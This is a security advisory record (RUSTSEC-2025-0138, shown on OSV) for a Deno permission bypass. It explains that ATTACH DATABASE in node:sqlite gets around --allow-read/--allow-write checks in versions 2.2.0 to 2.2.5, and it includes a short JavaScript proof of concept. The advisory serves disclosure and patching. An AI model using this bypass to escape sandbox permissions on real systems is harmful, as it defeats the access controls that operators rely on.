RUSTSEC-2025-0138

Source
https://rustsec.org/advisories/RUSTSEC-2025-0138
Import Source
https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2025-0138.json
JSON Data
https://api.osv.dev/v1/vulns/RUSTSEC-2025-0138
Aliases
Published
2025-06-03T12:00:00Z
Modified
2025-12-29T10:25:55.204417Z
Severity
  • 5.5 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
--allow-read / --allow-write permission bypass in `node:sqlite`
Details

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
Database specific
{
    "license": "CC-BY-4.0"
}
References

Affected packages

crates.io / deno

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.2.0
Fixed
2.2.5

Ecosystem specific

{
    "affected_functions": null,
    "affects": {
        "functions": [],
        "arch": [],
        "os": []
    }
}

Database specific

source
"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2025-0138.json"
informational
null
categories
[]
cvss
"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"